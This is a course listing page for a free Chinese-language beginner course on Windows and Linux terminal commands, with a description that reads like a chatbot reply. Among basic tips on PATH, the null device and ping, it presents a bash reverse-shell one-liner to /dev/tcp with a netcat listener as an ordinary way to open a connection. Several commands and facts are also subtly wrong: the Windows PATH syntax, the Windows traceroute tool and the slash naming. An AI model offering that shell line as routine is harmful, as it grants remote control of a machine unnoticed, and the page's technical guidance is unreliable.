Windows和Linux终端与命令入门课
解放双手,高效工作
3.58 (6 reviews)

285
students
1.5 hours
content
Nov 2021
last update
FREE
regular price
Why take this course?
您提供的信息是关于环境变量、命令行工具的使用、网络连接查看、以及如何高效学习命令等方面的概述。下面我将对这些内容进行稍微详细的解释和补充说明。
1. 环境变量
环境变量是在用户登录系统时,操作系统为该用户设置一组可以使用的变量,它们包含了有关系统的信息和配置。最著名的环境变量是 PATH
,它告诉操作系统在什么目录下可以找到可执行程序(如命令行工具)。
- 在 Windows 中,你可以使用
set
命令查看所有环境变量,或者直接通过 "系统属性" 访问。 - 在 Linux 和 macOS 中,你可以使用
env
命令查看所有环境变量,或者查看特定的PATH
环境变量。
2. PATH 环境变量
PATH
是一个由目录路径列表组成的环境变量,当你在命令行中输入一个命令时,系统会在这些目录中搜索相应的可执行文件。如果找到了,就会使用它;否则,会返回错误信息提示你指定正确的路径或命令不存在。
- 在 Windows 中,你可以通过
set PATH = %PATH%;C:\new\path
添加新路径到PATH
,然后执行set
或者重新启动命令提示符(cmd)。 - 在 Linux 中,你可以将新路径添加到
~/.bash_profile
、~/.bashrc
或~/.profile
文件中的PATH
变量,并使用source .bashrc
或者重新启动终端(如果系统配置为自动读取这些文件)。
3. 文件黑洞(Null Device)
在命令行中,有时你可能想要执行一个命令并且不希望它输出任何信息到屏幕,这时候可以使用文件黑洞的概念。在 Windows 中,使用 command 2>nul
;在 Linux 中,使用 command >/dev/null
。
4. 查看网络连接状态
- 在 Windows 和 Linux 中,可以使用
netstat
命令来查看已建立的网络连接。 - 在 Linux 中,
nc -lvp PORT
监听特定端口,而客户端可以通过bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"
发起连接。
5. 学习命令
虽然记住所有的命令和参数是非常难,因此使用帮助信息是一个很好的策略。
- 在 Windows 中,大多数命令都可以通过
command /?
(注意是斜杠/
而不是正斜杠\
)来获取帮助信息。 - 在 Linux 和 macOS 中,你可以使用
man command
或者command --help
来获取更详细的帮助文档。
6. 其他网络工具
ping
命令用于测试两台计算机之间是否可以通过网络进行通信。在 Windows 和 Linux 中都可以使用ping IP或Domain
来测试网络连接性。traceroute
(Windows)或tracepath
(Linux) 可以显示从源到目的地的路径信息,帮助你了解数据包是如何传播的。
7. 安全注意事项
当处理恶意代码或不可信的网络请求时,要非常小心。例如,ping -n 3 127.0.0.1
(Windows)或 ping -c 3 127.0.0.1
(Linux)是安全的,因为它们只是测试本地系统的响应。但是,不要运行未知来源的代码,尤其是在可以修改系统配置或执行远程命令的环境中。
希望这些补充能够帮助你更深入地理解上述概念和操作。如果您有任何具体的问题或需要进一步的帮助,请随时提问!
Loading charts...
Related Topics
4420652
udemy ID
29/11/2021
course created date
03/12/2021
course indexed date
Bot
course submited by